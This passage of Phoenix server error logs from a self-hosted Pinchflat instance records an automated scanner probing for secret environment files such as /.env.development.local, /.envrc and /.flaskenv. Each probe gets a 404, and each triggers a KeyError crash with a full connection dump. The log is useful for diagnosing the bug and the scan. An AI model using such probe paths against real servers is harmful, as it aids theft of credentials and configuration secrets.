s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.489 [debug] QUERY OK source="settings" db=0.0ms idle=474.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.489 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:40.489 [error] #PID<0.9536.0> running PinchflatWeb.Endpoint (connection #PID<0.9535.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.development.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9535.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34752}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9536.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAV7muO9lIwkAAblC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9535.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34752}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9535.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34752}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9536.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priva (truncated) 15:21:40.725 [info] GET /.env.test.local 15:21:40.726 [debug] QUERY OK source="settings" db=0.1ms idle=471.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.726 [debug] QUERY OK source="settings" db=0.0ms idle=471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.726 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:40.726 [error] #PID<0.9538.0> running PinchflatWeb.Endpoint (connection #PID<0.9537.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.test.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9537.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9538.0>, params: %{}, path_info: [".env.test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.test.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAW0MZ60glO4AAbmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9537.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9537.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9538.0>, params: %{}, path_info: [".env.test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.test.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAW0MZ60glO4AA (truncated) 15:21:40.961 [info] GET /.envrc 15:21:40.962 [debug] QUERY OK source="settings" db=0.1ms idle=473.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.962 [debug] QUERY OK source="settings" db=0.0ms idle=473.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.962 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:40.962 [error] #PID<0.9540.0> running PinchflatWeb.Endpoint (connection #PID<0.9539.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.envrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9540.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.envrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAXscclp-AfIAAbnC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9539.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.envrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34772}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9540.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.envrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAXscclp-AfIAAbnC"} ], scheme: :http, script_name: [], secret_ke (truncated) 15:21:41.202 [info] GET /.flaskenv 15:21:41.203 [debug] QUERY OK source="settings" db=0.2ms idle=711.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.203 [debug] QUERY OK source="settings" db=0.1ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:41.203 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:41.203 [error] #PID<0.9542.0> running PinchflatWeb.Endpoint (connection #PID<0.9541.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.flaskenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.flaskenv", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9542.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.flaskenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAYl4zEcgcFEAAboC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.flaskenv", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.flaskenv", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9542.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 